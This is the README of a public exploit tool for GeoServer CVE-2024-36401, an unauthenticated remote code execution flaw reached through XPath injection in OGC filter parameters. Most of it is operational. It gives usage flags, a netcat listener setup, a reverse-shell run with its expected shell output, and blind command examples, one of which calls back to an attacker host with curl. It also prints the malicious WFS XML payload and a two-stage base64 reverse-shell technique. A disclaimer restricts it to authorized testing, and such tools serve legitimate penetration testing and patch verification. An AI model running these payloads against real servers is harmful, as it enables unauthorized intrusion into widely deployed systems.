
Unauthenticated RCE exploit for GeoServer (CVE-2024-36401) via OGC filter XPath injection. Supports reverse shell and blind command execution with automatic version detection and feature type probing.
Unauthenticated Remote Code Execution exploit for GeoServer via OGC filter
valueReference parameter injection (XPath/JXPath evaluation).
Disclaimer: This tool is intended for authorized penetration testing and security research only. Do not use against systems you do not own or have explicit written permission to test. The author assumes no liability for misuse or damage caused by this tool.
GeoServer is an open-source Java server for sharing geospatial data, widely deployed in government, enterprise, and research environments. CVE-2024-36401 allows an unauthenticated attacker to execute arbitrary OS commands on the host by injecting Java expressions into OGC (Open Geospatial Consortium) filter parameters.
The vulnerability was added to the CISA Known Exploited Vulnerabilities (KEV) catalog in July 2024 due to active exploitation in the wild.
| Branch | Vulnerable Range | Fixed In |
|---|---|---|
| 2.23.x | < 2.23.6 | 2.23.6 |
| 2.24.x | < 2.24.4 | 2.24.4 |
| 2.25.x | < 2.25.2 | 2.25.2 |
GeoServer versions older than 2.23.0 are also likely affected but are end-of-life and untested.
GeoServer uses the GeoTools library to evaluate OGC filter expressions.
The valueReference parameter (and others such as CQL_FILTER) is passed
to JXPathContext.selectNodes() from Apache Commons JXPath without
sanitisation.
JXPath supports calling arbitrary Java methods through expressions such as:
exec(java.lang.Runtime.getRuntime(), 'id')
This evaluation occurs before authentication is checked for certain endpoints, making the vulnerability fully unauthenticated.
Vulnerable endpoints:
POST /geoserver/wfs — GetPropertyValue request with valueReferenceGET /geoserver/ows — same parameter via query stringKey technical note: The valueReference expression must use single
quotes (') around the command string. Double quotes (") cause XML
parsing failures and prevent execution — a common pitfall in other public PoCs.
requests librarysf, topp,
tiger are sufficient)git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests
Or install dependencies directly:
pip3 install requests
usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
[-c CMD] [-f FEATURE]
options:
-h, --help show this help message and exit
-t, --target TARGET Target URL, e.g. http://<TARGET>:8080
-l, --lhost LHOST Your IP address for reverse shell callback
-p, --lport LPORT Listener port (default: 4444)
-c, --cmd CMD Single command to execute (no output returned)
-f, --feature FEATURE Feature type override (auto-detected if omitted)
| Mode | Flag(s) | Description |
|---|---|---|
| Reverse shell | -l LHOST -p LPORT | Two-stage reverse shell via bash |
| Command execution | -c CMD | Execute a single command (blind — no output) |
| Feature type override | -f FEATURE | Skip auto-detection, use specified type |
Start a listener first:
nc -lvnp 4444
Then run the exploit:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444
Expected output:
_______ ________ ___ ____ ___ __ __ _____ _____ __ __ ____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ // ___// // / / __ \
/ / | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/__/ / /_/ /__ __/ /_/ /
\____/ |___/_____/ /____/\____/____/ /_/ /____/\____/ /_/ \____/
___
< /
/ /
/ /
/_/
GeoServer OGC XPath Injection RCE | CVE-2024-36401
Unauthenticated | CVSS 9.8 | Affects < 2.25.2 / 2.24.4 / 2.23.6
[*] Target : http://<TARGET>:8080
[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites
[*] Feature type : sf:archsites
[*] Listener : <LHOST>:4444
[*] Start : nc -lvnp 4444
[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener
On the listener:
Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$
Execute a command without receiving output. Useful for out-of-band verification or dropping files:
# Verify execution via file creation
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "touch /tmp/pwned"
# Trigger a curl callback to confirm execution
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "curl http://<LHOST>:8000/pwned"
Note: Commands containing shell metacharacters (
>,|,&,;) are automatically base64-encoded to avoid parsing issues.
If auto-detection fails, provide a known feature type from the target:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444 \
-f topp:states
Common feature types included with GeoServer sample data:
| Workspace | Feature Type |
|---|---|
sf | sf:archsites, sf:bugsites, sf:roads, sf:streams |
topp | topp:states, topp:tasmania_cities, topp:tasmania_roads |
tiger | tiger:giant_polygon, tiger:poi, tiger:tiger_roads |
cite | cite:Buildings |
The exploit sends a GetPropertyValue WFS request with a malicious
valueReference expression:
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
exec(java.lang.Runtime.getRuntime(),'COMMAND')
</wfs:valueReference>
</wfs:GetPropertyValue>
For the reverse shell, a two-stage approach is used to avoid issues with
shell metacharacters inside the exec() single-string argument:
Stage 1 — Write the reverse shell to /tmp/rs.sh using base64 encoding
and shell brace expansion (no spaces in the exec string):
bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}
Stage 2 — Execute the script:
bash /tmp/rs.sh
This approach avoids the need for a shell interpreter in the first exec()
call, making it reliable across different system configurations.
[-] Cannot connect to target
curl http://<TARGET>:8080/geoserver/web/[-] No usable feature type found
-f <workspace>:<type>curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"[+] Payload delivered but no shell received
LHOST:LPORT") around the command — this does not work.
Ensure single quotes (') are used inside the valueReference expression.[!] Version X.X.X may be patched — attempting anyway
This project is licensed under the MIT License. See LICENSE for details.